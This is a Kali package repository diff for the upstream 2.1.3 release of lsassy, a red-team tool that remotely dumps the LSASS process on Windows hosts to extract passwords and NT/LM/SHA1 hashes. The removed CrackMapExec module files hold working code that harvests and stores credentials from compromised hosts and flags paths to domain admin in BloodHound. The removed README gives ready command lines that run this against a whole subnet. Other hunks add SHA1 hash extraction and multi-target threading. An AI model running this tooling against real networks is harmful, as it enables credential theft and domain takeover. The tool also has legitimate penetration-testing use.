Codebase list python-lsassy / eadf353a-04bf-4f3d-bd38-bf086418abd0/upstream
Import upstream version 2.1.3 Kali Janitor 3 years ago
12 changed file(s) with 103 addition(s) and 685 deletion(s). Raw diff Collapse all Expand all
0 # For most projects, this workflow file will not need changing; you simply need
1 # to commit it to your repository.
2 #
3 # You may wish to alter this file to override the set of languages analyzed,
4 # or to provide custom queries or build logic.
5 name: "CodeQL"
6
7 on:
8 push:
9 branches: [master]
10 pull_request:
11 # The branches below must be a subset of the branches above
12 branches: [master]
13 schedule:
14 - cron: '0 17 * * 4'
15
16 jobs:
17 analyze:
18 name: Analyze
19 runs-on: ubuntu-latest
20
21 strategy:
22 fail-fast: false
23 matrix:
24 # Override automatic language detection by changing the below list
25 # Supported options are ['csharp', 'cpp', 'go', 'java', 'javascript', 'python']
26 language: ['python']
27 # Learn more...
28 # https://docs.github.com/en/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#overriding-automatic-language-detection
29
30 steps:
31 - name: Checkout repository
32 uses: actions/checkout@v2
33 with:
34 # We must fetch at least the immediate parents so that if this is
35 # a pull request then we can checkout the head.
36 fetch-depth: 2
37
38 # If this run was triggered by a pull request event, then checkout
39 # the head of the pull request instead of the merge commit.
40 - run: git checkout HEAD^2
41 if: ${{ github.event_name == 'pull_request' }}
42
43 # Initializes the CodeQL tools for scanning.
44 - name: Initialize CodeQL
45 uses: github/codeql-action/init@v1
46 with:
47 languages: ${{ matrix.language }}
48 # If you wish to specify custom queries, you can do so here or in a config file.
49 # By default, queries listed here will override any specified in a config file.
50 # Prefix the list here with "+" to use these queries and those in the config file.
51 # queries: ./path/to/local/query, your-org/your-repo/queries@main
52
53 # Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
54 # If this step fails, then you should remove it and run the build manually (see below)
55 - name: Autobuild
56 uses: github/codeql-action/autobuild@v1
57
58 # ℹī¸ Command-line programs to run using the OS shell.
59 # 📚 https://git.io/JvXDl
60
61 # ✏ī¸ If the Autobuild fails above, remove it and uncomment the following three lines
62 # and modify them (or add more) to build your code if your project
63 # uses a compiled language
64
65 #- run: |
66 # make bootstrap
67 # make release
68
69 - name: Perform CodeQL Analysis
70 uses: github/codeql-action/analyze@v1
00 # lsassy
11
2 [![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=2.1.2&x2=0)](https://pypi.org/project/lsassy/) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo)
2 [![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=2.1.3&x2=0)](https://pypi.org/project/lsassy/) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo)
33
44 ![Example](https://github.com/Hackndo/lsassy/raw/master/assets/example.png)
55
4040
4141 ### CrackMapExec module
4242
43 * [Installation](https://github.com/Hackndo/lsassy/wiki/CME-Installation)
44 * [Basic Usage](https://github.com/Hackndo/lsassy/wiki/CME-Basic-Usage)
45 * [Advanced Usage](https://github.com/Hackndo/lsassy/wiki/CME-Advanced-Usage)
46
47 ## CrackMapExec module
48
49 I wrote a CrackMapExec module that uses **lsassy** to extract credentials on compromised hosts
50
51 CrackMapExec module is in `cme` folder : [CME Module](https://github.com/Hackndo/lsassy/tree/master/cme)
52
53 ## Issues
54
55 If you find an issue with this tool (that's very plausible !), please
56
57 * Check that you're using the latest version
58 * Send as much details as possible.
59 - For standalone **lsassy**, please use maximum verbosity `-vv`
60 - For CME module, please use CrackMapExec `--verbose` flag
43 * CrackMapExec module is now [part of CrackMapExec project](https://github.com/byt3bl33d3r/CrackMapExec/pull/341)
44 * CME module is [documentated in project's wiki](https://github.com/Hackndo/lsassy/wiki/)
6145
6246 ## Changelog
6347
+0
-116
cme/README.md less more
0 # lsassy CrackMapExec Module
1
2 ![CrackMapExec >= 4.0.1](https://img.shields.io/badge/CrackMapExec-%3E=4.0.1-red)
3
4 This CME module uses **lsassy** to remotely extract lsass password, and optionally interacts with Bloodhound to **set compromised hosts as owned** and check if compromised users have a **path to domain admin**.
5
6 ![CME Module example](https://github.com/Hackndo/lsassy/raw/master/assets/example_cme.png)
7
8 ## Requirements
9
10 * Python2.7
11 - [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
12 * Python3.6+
13 - [lsassy](https://github.com/Hackndo/lsassy/)
14
15
16 ## Installation
17
18 * Install **lsassy**
19
20 ### Python2
21
22 * Download [lsassy CrackMapExec module](https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy.py)
23 * Copy `lsassy.py` in `[CrackMapExec Path]/cme/modules`
24 * Reinstall CrackMapExec using python2.7 `python setup.py install`
25
26 ```bash
27 python3 -m pip install lsassy
28 wget https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy.py
29 cp lsassy.py /opt/CrackMapExec/cme/modules/
30 cd /opt/CrackMapExec
31 python2.7 setup.py install
32 ```
33
34 ### Python3
35
36 * Download [lsassy CrackMapExec module](https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy3.py)
37 * Copy `lsassy3.py` in `[CrackMapExec Path]/cme/modules`
38 * Reinstall CrackMapExec using python3 `python setup.py install`
39
40 ```bash
41 python3 -m pip install lsassy
42 wget https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy3.py
43 cp lsassy3.py /opt/CrackMapExec/cme/modules/
44 cd /opt/CrackMapExec
45 python3 setup.py install
46 ```
47
48 ## Usage
49
50 ### Basic
51
52 ```bash
53 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy
54 ```
55
56 ### Advanced
57
58 By default, this module uses `rundll32.exe` with `comsvcs.dll` DLL to dump lsass process on the remote host, with method **1** of lsassy.
59
60 If you want to specify the dumping method, use the `METHOD` option (`lsassy -h` for more details)
61
62 ```bash
63 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o METHOD=3
64 ```
65
66 If you're using a method that requires procdump, you can specify procdump location with `PROCDUMP_PATH` option.
67
68 ```bash
69 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o METHOD=2 PROCDUMP_PATH=/opt/Sysinternals/procdump.exe
70 ```
71
72 By default, lsass dump name is randomly generated. If you want to specify a dump name, you can use `REMOTE_LSASS_DUMP` option.
73
74 ```bash
75 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o REMOTE_LSASS_DUMP=LSASSY_DUMP.dmp
76 ```
77
78 ### BloodHound
79
80 You can set BloodHound integration using `-o BLOODHOUND=True` flag. This flag enables different checks :
81 * Set "owned" on BloodHound computer nodes that are compromised
82 * Detect compromised users that have a **path to domain admin**
83
84 ```bash
85 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o BLOODHOUND=True
86 ```
87
88 You can check available options using
89
90 ```
91 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy --options
92 [*] lsassy module options:
93
94 METHOD Method to use to dump procdump with lsassy. See lsassy -h for more details
95 REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random)
96 PROCDUMP_PATH Path to procdump on attacker host. If this is not set, "rundll32" method is used
97 BLOODHOUND Enable Bloodhound integration (default: false)
98 NEO4JURI URI for Neo4j database (default: 127.0.0.1)
99 NEO4JPORT Listeninfg port for Neo4j database (default: 7687)
100 NEO4JUSER Username for Neo4j database (default: 'neo4j')
101 NEO4JPASS Password for Neo4j database (default: 'neo4j')
102 WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '')
103
104 ```
105
106 ## Issue
107
108 If you find an issue with this tool (that's very plausible !), please
109
110 * Check that you're using the latest version
111 * Send as much details as possible.
112 - For standalone **lsassy**, please use the `-d` debug flag
113 - For CME module, please use CrackMapExec `--verbose` flag
114
115 Have fun
+0
-269
cme/lsassy.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 import json
7 import subprocess
8 import sys
9
10
11 class CMEModule:
12 name = 'lsassy'
13 description = "Dump lsass and parse the result remotely with lsassy"
14 supported_protocols = ['smb']
15 opsec_safe = True
16 multiple_hosts = True
17
18 def options(self, context, module_options):
19 """
20 METHOD Method to use to dump lsass.exe with lsassy. See lsassy -h for more details
21 REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random)
22 PROCDUMP_PATH Path to procdump on attacker host (Required for method 2)
23 DUMPERT_PATH Path to procdump on attacker host (Required for method 5)
24 BLOODHOUND Enable Bloodhound integration (default: false)
25 NEO4JURI URI for Neo4j database (default: 127.0.0.1)
26 NEO4JPORT Listeninfg port for Neo4j database (default: 7687)
27 NEO4JUSER Username for Neo4j database (default: 'neo4j')
28 NEO4JPASS Password for Neo4j database (default: 'neo4j')
29 WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '')
30 """
31
32 self.method = False
33 self.remote_lsass_dump = False
34 self.procdump_path = False
35 self.dumpert_path = False
36
37 if 'METHOD' in module_options:
38 self.method = module_options['METHOD']
39
40 if 'REMOTE_LSASS_DUMP' in module_options:
41 self.remote_lsass_dump = module_options['REMOTE_LSASS_DUMP']
42
43 if 'PROCDUMP_PATH' in module_options:
44 self.procdump_path = module_options['PROCDUMP_PATH']
45
46 if 'DUMPERT_PATH' in module_options:
47 self.dumpert_path = module_options['DUMPERT_PATH']
48
49 self.bloodhound = False
50 self.neo4j_URI = "127.0.0.1"
51 self.neo4j_Port = "7687"
52 self.neo4j_user = "neo4j"
53 self.neo4j_pass = "neo4j"
54 self.without_edges = ""
55
56 if module_options and 'BLOODHOUND' in module_options:
57 self.bloodhound = module_options['BLOODHOUND']
58 if module_options and 'NEO4JURI' in module_options:
59 self.neo4j_URI = module_options['NEO4JURI']
60 if module_options and 'NEO4JPORT' in module_options:
61 self.neo4j_Port = module_options['NEO4JPORT']
62 if module_options and 'NEO4JUSER' in module_options:
63 self.neo4j_user = module_options['NEO4JUSER']
64 if module_options and 'NEO4JPASS' in module_options:
65 self.neo4j_pass = module_options['NEO4JPASS']
66 if module_options and 'WITHOUT_EDGES' in module_options:
67 self.without_edges = module_options['WITHOUT_EDGES']
68
69 def on_admin_login(self, context, connection):
70 if self.bloodhound:
71 self.set_as_owned(context, connection)
72
73 """
74 Since lsassy is py3.6+ and CME is still py2, lsassy cannot be
75 imported. For this reason, connection information must be sent to lsassy
76 so it can create a new connection.
77
78 When CME is py3.6 compatible, CME connection object will be reused.
79 """
80 domain_name = connection.domain
81 username = connection.username
82 password = getattr(connection, "password", "")
83 lmhash = getattr(connection, "lmhash", "")
84 nthash = getattr(connection, "nthash", "")
85
86 password = "" if password is None else password
87 lmhash = "" if lmhash is None else lmhash
88 nthash = "" if nthash is None else nthash
89
90 host = connection.host
91
92 command = r"lsassy --format json -d '{}' -u '{}' -p '{}' -H '{}:{}' {}".format(
93 domain_name, username, password, lmhash, nthash, host
94 )
95
96 if context.verbose:
97 command += " -vv "
98
99 if self.method:
100 command += " --method {}".format(self.method)
101
102 if self.remote_lsass_dump:
103 command += " --dumpname {}".format(self.remote_lsass_dump)
104
105 if self.procdump_path:
106 command += " --procdump {}".format(self.procdump_path)
107
108 if self.dumpert_path:
109 command += " --dumpert {}".format(self.dumpert_path)
110
111 # Parsing lsass dump remotely
112 context.log.info('Parsing lsass with lsassy')
113 context.log.debug('Lsassy command : {}'.format(command))
114 code, out, err = self.run(command)
115
116 context.log.debug('----- lsassy output -----')
117 for line in out.split("\n"):
118 context.log.debug('{}'.format(line))
119 context.log.debug('----- end output -----')
120
121 if code != 0:
122 # Debug output
123 if code == 5:
124 context.log.error('Lsass is protected')
125 else:
126 context.log.error('Error while executing lsassy, try using CrackMapExec with --verbose to get more details')
127 context.log.debug('----- lsassy error [{}] -----'.format(code))
128 for line in err.split("\n"):
129 context.log.debug('{}'.format(line))
130 context.log.debug('----- end error -----')
131 elif not context.verbose:
132 self.process_credentials(context, connection, out)
133
134 @staticmethod
135 def run(cmd):
136 proc = subprocess.Popen([
137 '/bin/sh', '-c', cmd],
138 stdout=subprocess.PIPE,
139 stderr=subprocess.PIPE,
140 )
141 stdout, stderr = proc.communicate()
142
143 return proc.returncode, stdout, stderr
144
145 def process_credentials(self, context, connection, credentials):
146 credentials = json.loads(credentials)
147 for domain, users in credentials.items():
148 for username, creds in users.items():
149 for cred in creds:
150 password = cred['password']
151 lmhash = cred['lmhash']
152 nthash = cred['nthash']
153 self.save_credentials(context, connection, domain, username, password, lmhash, nthash)
154 self.print_credentials(context, connection, domain, username, password, lmhash, nthash)
155
156 @staticmethod
157 def save_credentials(context, connection, domain, username, password, lmhash, nthash):
158 host_id = context.db.get_computers(connection.host)[0][0]
159 if password is not None:
160 credential_type = 'plaintext'
161 else:
162 credential_type = 'hash'
163 password = ':'.join(h for h in [lmhash, nthash] if h is not None)
164 context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
165
166 def print_credentials(self, context, connection, domain, username, password, lmhash, nthash):
167 if password is None:
168 password = ':'.join(h for h in [lmhash, nthash] if h is not None)
169 output = "%s\\%s %s" % (domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'))
170 if self.bloodhound and self.bloodhound_analysis(context, connection, username):
171 output += " [{}PATH TO DA{}]".format('\033[91m', '\033[93m') # Red and back to yellow
172 context.log.highlight(output)
173
174 def set_as_owned(self, context, connection):
175 try:
176 from neo4j.v1 import GraphDatabase
177 except:
178 from neo4j import GraphDatabase
179 from neo4j.exceptions import AuthError, ServiceUnavailable
180 host_fqdn = (connection.hostname + "." + connection.domain).upper()
181 uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
182
183 try:
184 driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
185 except AuthError as e:
186 context.log.error(
187 "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
188 sys.exit()
189 except ServiceUnavailable as e:
190 context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
191 sys.exit()
192 except Exception as e:
193 context.log.error("Unexpected error with Neo4J")
194 context.log.debug("Error : ".format(str(e)))
195 sys.exit()
196
197 with driver.session() as session:
198 with session.begin_transaction() as tx:
199 result = tx.run(
200 "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn))
201 if len(result.value()) > 0:
202 context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn))
203 else:
204 context.log.error(
205 "Node {} does not appear to be in Neo4J database. Have you imported correct data ?".format(host_fqdn))
206 driver.close()
207
208 def bloodhound_analysis(self, context, connection, username):
209 try:
210 from neo4j.v1 import GraphDatabase
211 except:
212 from neo4j import GraphDatabase
213 from neo4j.exceptions import AuthError, ServiceUnavailable
214 username = (username + "@" + connection.domain).upper().replace("\\", "\\\\")
215 uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
216
217 try:
218 driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
219 except AuthError as e:
220 context.log.error(
221 "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
222 return False
223 except ServiceUnavailable as e:
224 context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
225 return False
226 except Exception as e:
227 context.log.error("Unexpected error with Neo4J")
228 context.log.debug("Error : ".format(str(e)))
229 return False
230
231 edges = [
232 "MemberOf",
233 "HasSession",
234 "AdminTo",
235 "AllExtendedRights",
236 "AddMember",
237 "ForceChangePassword",
238 "GenericAll",
239 "GenericWrite",
240 "Owns",
241 "WriteDacl",
242 "WriteOwner",
243 "CanRDP",
244 "ExecuteDCOM",
245 "AllowedToDelegate",
246 "ReadLAPSPassword",
247 "Contains",
248 "GpLink",
249 "AddAllowedToAct",
250 "AllowedToAct",
251 "SQLAdmin"
252 ]
253 # Remove blacklisted edges
254 without_edges = [e.lower() for e in self.without_edges.split(",")]
255 effective_edges = [edge for edge in edges if edge.lower() not in without_edges]
256
257 with driver.session() as session:
258 with session.begin_transaction() as tx:
259 query = """
260 MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m))
261 WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512"
262 RETURN COUNT(p) AS pathNb
263 """.format(username, '|'.join(effective_edges))
264
265 context.log.debug("Query : {}".format(query))
266 result = tx.run(query)
267 driver.close()
268 return result.value()[0] > 0
+0
-268
cme/lsassy3.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 import json
7 import subprocess
8 import sys
9
10 from lsassy import Lsassy, Logger, Dumper, Parser, Writer
11
12
13 class CMEModule:
14 name = 'lsassy'
15 description = "Dump lsass and parse the result remotely with lsassy"
16 supported_protocols = ['smb']
17 opsec_safe = True
18 multiple_hosts = True
19
20 def options(self, context, module_options):
21 """
22 METHOD Method to use to dump lsass.exe with lsassy. See lsassy -h for more details
23 REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random)
24 PROCDUMP_PATH Path to procdump on attacker host (Required for method 2)
25 DUMPERT_PATH Path to procdump on attacker host (Required for method 5)
26 BLOODHOUND Enable Bloodhound integration (default: false)
27 NEO4JURI URI for Neo4j database (default: 127.0.0.1)
28 NEO4JPORT Listeninfg port for Neo4j database (default: 7687)
29 NEO4JUSER Username for Neo4j database (default: 'neo4j')
30 NEO4JPASS Password for Neo4j database (default: 'neo4j')
31 WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '')
32 """
33
34 self.method = False
35 self.remote_lsass_dump = False
36 self.procdump_path = False
37 self.dumpert_path = False
38
39 if 'METHOD' in module_options:
40 self.method = module_options['METHOD']
41
42 if 'REMOTE_LSASS_DUMP' in module_options:
43 self.remote_lsass_dump = module_options['REMOTE_LSASS_DUMP']
44
45 if 'PROCDUMP_PATH' in module_options:
46 self.procdump_path = module_options['PROCDUMP_PATH']
47
48 if 'DUMPERT_PATH' in module_options:
49 self.dumpert_path = module_options['DUMPERT_PATH']
50
51 self.bloodhound = False
52 self.neo4j_URI = "127.0.0.1"
53 self.neo4j_Port = "7687"
54 self.neo4j_user = "neo4j"
55 self.neo4j_pass = "neo4j"
56 self.without_edges = ""
57
58 if module_options and 'BLOODHOUND' in module_options:
59 self.bloodhound = module_options['BLOODHOUND']
60 if module_options and 'NEO4JURI' in module_options:
61 self.neo4j_URI = module_options['NEO4JURI']
62 if module_options and 'NEO4JPORT' in module_options:
63 self.neo4j_Port = module_options['NEO4JPORT']
64 if module_options and 'NEO4JUSER' in module_options:
65 self.neo4j_user = module_options['NEO4JUSER']
66 if module_options and 'NEO4JPASS' in module_options:
67 self.neo4j_pass = module_options['NEO4JPASS']
68 if module_options and 'WITHOUT_EDGES' in module_options:
69 self.without_edges = module_options['WITHOUT_EDGES']
70
71 def on_admin_login(self, context, connection):
72 if self.bloodhound:
73 self.set_as_owned(context, connection)
74
75 """
76 Since lsassy is py3.6+ and CME is still py2, lsassy cannot be
77 imported. For this reason, connection information must be sent to lsassy
78 so it can create a new connection.
79
80 When CME is py3.6 compatible, CME connection object will be reused.
81 """
82 domain_name = connection.domain
83 username = connection.username
84 password = getattr(connection, "password", "")
85 lmhash = getattr(connection, "lmhash", "")
86 nthash = getattr(connection, "nthash", "")
87
88 password = "" if password is None else password
89 lmhash = "" if lmhash is None else lmhash
90 nthash = "" if nthash is None else nthash
91
92 host = connection.host
93
94 log_options = Logger.Options()
95 dump_options = Dumper.Options()
96 parse_options = Parser.Options()
97 write_option = Writer.Options(format="json", quiet=True)
98
99 if self.method:
100 dump_options.method = int(self.method)
101
102 if self.remote_lsass_dump:
103 dump_options.dumpname = self.remote_lsass_dump
104
105 if self.procdump_path:
106 dump_options.procdump_path = self.procdump_path
107
108 if self.dumpert_path:
109 dump_options.dumpert_path = self.dumpert_path
110
111 lsassy = Lsassy(
112 hostname=host,
113 username=username,
114 domain=domain_name,
115 password=password,
116 lmhash=lmhash,
117 nthash=nthash,
118 log_options=log_options,
119 dump_options=dump_options,
120 parse_options=parse_options,
121 write_options=write_option
122 )
123 credentials = lsassy.get_credentials()
124
125 if not credentials['success']:
126 context.log.error(credentials['error_msg'])
127 if context.verbose and credentials['error_exception']:
128 context.log.error(credentials['error_exception'])
129 else:
130 self.process_credentials(context, connection, credentials["credentials"])
131
132 @staticmethod
133 def run(cmd):
134 proc = subprocess.Popen([
135 '/bin/sh', '-c', cmd],
136 stdout=subprocess.PIPE,
137 stderr=subprocess.PIPE,
138 )
139 stdout, stderr = proc.communicate()
140
141 return proc.returncode, stdout, stderr
142
143 def process_credentials(self, context, connection, credentials):
144 for domain, creds in json.loads(credentials).items():
145 for username, passwords in creds.items():
146 for password in passwords:
147 plain = password["password"]
148 lmhash = password["lmhash"]
149 nthash = password["nthash"]
150 self.save_credentials(context, connection, domain, username, plain, lmhash, nthash)
151 self.print_credentials(context, connection, domain, username, plain, lmhash, nthash)
152
153
154
155 @staticmethod
156 def save_credentials(context, connection, domain, username, password, lmhash, nthash):
157 host_id = context.db.get_computers(connection.host)[0][0]
158 if password is not None:
159 credential_type = 'plaintext'
160 else:
161 credential_type = 'hash'
162 password = ':'.join(h for h in [lmhash, nthash] if h is not None)
163 context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
164
165 def print_credentials(self, context, connection, domain, username, password, lmhash, nthash):
166 if password is None:
167 password = ':'.join(h for h in [lmhash, nthash] if h is not None)
168 output = "%s\\%s %s" % (domain, username, password)
169 if self.bloodhound and self.bloodhound_analysis(context, connection, username):
170 output += " [{}PATH TO DA{}]".format('\033[91m', '\033[93m') # Red and back to yellow
171 context.log.highlight(output)
172
173 def set_as_owned(self, context, connection):
174 try:
175 from neo4j.v1 import GraphDatabase
176 except:
177 from neo4j import GraphDatabase
178 from neo4j.exceptions import AuthError, ServiceUnavailable
179 host_fqdn = (connection.hostname + "." + connection.domain).upper()
180 uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
181
182 try:
183 driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
184 except AuthError as e:
185 context.log.error(
186 "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
187 sys.exit()
188 except ServiceUnavailable as e:
189 context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
190 sys.exit()
191 except Exception as e:
192 context.log.error("Unexpected error with Neo4J")
193 context.log.debug("Error : ".format(str(e)))
194 sys.exit()
195
196 with driver.session() as session:
197 with session.begin_transaction() as tx:
198 result = tx.run(
199 "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn))
200 if len(result.value()) > 0:
201 context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn))
202 else:
203 context.log.error(
204 "Node {} does not appear to be in Neo4J database. Have you imported correct data ?".format(host_fqdn))
205 driver.close()
206
207 def bloodhound_analysis(self, context, connection, username):
208 try:
209 from neo4j.v1 import GraphDatabase
210 except:
211 from neo4j import GraphDatabase
212 from neo4j.exceptions import AuthError, ServiceUnavailable
213 username = (username + "@" + connection.domain).upper().replace("\\", "\\\\")
214 uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
215
216 try:
217 driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
218 except AuthError as e:
219 context.log.error(
220 "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
221 return False
222 except ServiceUnavailable as e:
223 context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
224 return False
225 except Exception as e:
226 context.log.error("Unexpected error with Neo4J")
227 context.log.debug("Error : ".format(str(e)))
228 return False
229
230 edges = [
231 "MemberOf",
232 "HasSession",
233 "AdminTo",
234 "AllExtendedRights",
235 "AddMember",
236 "ForceChangePassword",
237 "GenericAll",
238 "GenericWrite",
239 "Owns",
240 "WriteDacl",
241 "WriteOwner",
242 "CanRDP",
243 "ExecuteDCOM",
244 "AllowedToDelegate",
245 "ReadLAPSPassword",
246 "Contains",
247 "GpLink",
248 "AddAllowedToAct",
249 "AllowedToAct",
250 "SQLAdmin"
251 ]
252 # Remove blacklisted edges
253 without_edges = [e.lower() for e in self.without_edges.split(",")]
254 effective_edges = [edge for edge in edges if edge.lower() not in without_edges]
255
256 with driver.session() as session:
257 with session.begin_transaction() as tx:
258 query = """
259 MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m))
260 WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512"
261 RETURN COUNT(p) AS pathNb
262 """.format(username, '|'.join(effective_edges))
263
264 context.log.debug("Query : {}".format(query))
265 result = tx.run(query)
266 driver.close()
267 return result.value()[0] > 0
+0
-1
cme/requirements.txt less more
0 lsassy
44 # https://beta.hackndo.com
55
66 from multiprocessing import Process, RLock
7 import time
78
89 from lsassy.modules.dumper import Dumper
910 from lsassy.modules.impacketconnection import ImpacketConnection
220221
221222 def run():
222223 targets = get_targets(get_args().target)
224 # Maximum 256 processes because maximum 256 opened files in python by default
225 processes = min(get_args().threads, 256)
223226
224227 if len(targets) == 1:
225228 return CLI(targets[0]).run().error_code
226
227229 jobs = [Process(target=CLI(target).run) for target in targets]
228230 try:
229231 for job in jobs:
232 # Checking running processes to avoid reaching --threads limit
233 while True:
234 counter = sum(1 for j in jobs if j.is_alive())
235 if counter >= processes:
236 time.sleep(1)
237 else:
238 break
230239 job.start()
231240 except KeyboardInterrupt as e:
232241 print("\nQuitting gracefully...")
5454 if not self._quiet:
5555 if output:
5656 print(out)
57 return out
57 return (out+"\n")
5858
5959 def raw(self, msg):
6060 print("{}".format(msg), end='')
3535 password = getattr(cred, "password", None)
3636 LMHash = getattr(cred, "LMHash", None)
3737 NThash = getattr(cred, "NThash", None)
38 SHAHash = getattr(cred, "SHAHash", None)
3839 if LMHash is not None:
3940 LMHash = LMHash.hex()
4041 if NThash is not None:
4142 NThash = NThash.hex()
43 if SHAHash is not None:
44 SHAHash = SHAHash.hex()
4245 # Remove empty password, machine accounts and buggy entries
4346 if self._raw:
44 self._credentials.append([ssp, domain, username, password, LMHash, NThash])
45 elif (not all(v is None or v == '' for v in [password, LMHash, NThash])
47 self._credentials.append([ssp, domain, username, password, LMHash, NThash, SHAHash])
48 elif (not all(v is None or v == '' for v in [password, LMHash, NThash, SHAHash])
4649 and username is not None
4750 and not username.endswith('$')
4851 and not username == ''):
49 self._credentials.append((ssp, domain, username, password, LMHash, NThash))
52 self._credentials.append((ssp, domain, username, password, LMHash, NThash, SHAHash))
5053 return RetCode(ERROR_SUCCESS)
5154
5255 def get_credentials(self):
4141 if self._format == "json":
4242 json_output = {}
4343 for cred in self._credentials:
44 ssp, domain, username, password, lmhash, nthash = cred
44 ssp, domain, username, password, lmhash, nthash, shahash = cred
4545
4646 domain = Writer._decode(domain)
4747 username = Writer._decode(username)
5454 credential = {
5555 "password": password,
5656 "lmhash": lmhash,
57 "nthash": nthash
57 "nthash": nthash,
58 "shahash": shahash
5859 }
5960 if credential not in json_output[domain][username]:
6061 json_output[domain][username].append(credential)
7273 max_size = max(len(c[1]) + len(c[2]) for c in self._credentials)
7374 credentials = []
7475 for cred in self._credentials:
75 ssp, domain, username, password, lmhash, nthash = cred
76 ssp, domain, username, password, lmhash, nthash, shahash = cred
7677 domain = Writer._decode(domain)
7778 username = Writer._decode(username)
7879 password = Writer._decode(password)
7980 if password is None:
80 password = ':'.join(h for h in [lmhash, nthash] if h is not None)
81 password = ("[LM]"+lmhash+":") if lmhash is not None else ""
82 password+= ("[NT]"+nthash+":") if nthash is not None else ""
83 password+= ("[SHA1]"+shahash) if shahash is not None else ""
84 #password = ':'.join(h for h in [lmhash, nthash,shahash] if h is not None)
8185 if [domain, username, password] not in credentials:
8286 credentials.append([domain, username, password])
8387 output += self._log.success(
3737 group_dump.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)')
3838 group_dump.add_argument('--procdump', action='store', help='Procdump path')
3939 group_dump.add_argument('--dumpert', action='store', help='dumpert path')
40 group_dump.add_argument('--threads', default=32, type=int, action='store', help='Threads number')
4041 group_dump.add_argument('--timeout', default=10, type=int, action='store',
4142 help='Timeout before considering lsass was not dumped successfully')
4243
162163 try:
163164 job.terminate()
164165 except Exception as e:
165 pass⏎
166 pass
1212
1313 setup(
1414 name="lsassy",
15 version="2.1.2",
15 version="2.1.3",
1616 author="Pixis",
1717 author_email="[email protected]",
1818 description="Python library to parse remote lsass dumps",
2020 long_description_content_type="text/markdown",
2121 packages=find_packages(exclude=["assets", "cme"]),
2222 include_package_data=True,
23 url="https://github.com/hackanddo/lsassy",
23 url="https://github.com/Hackndo/lsassy/",
2424 zip_safe = True,
2525 license="MIT",
2626 install_requires=[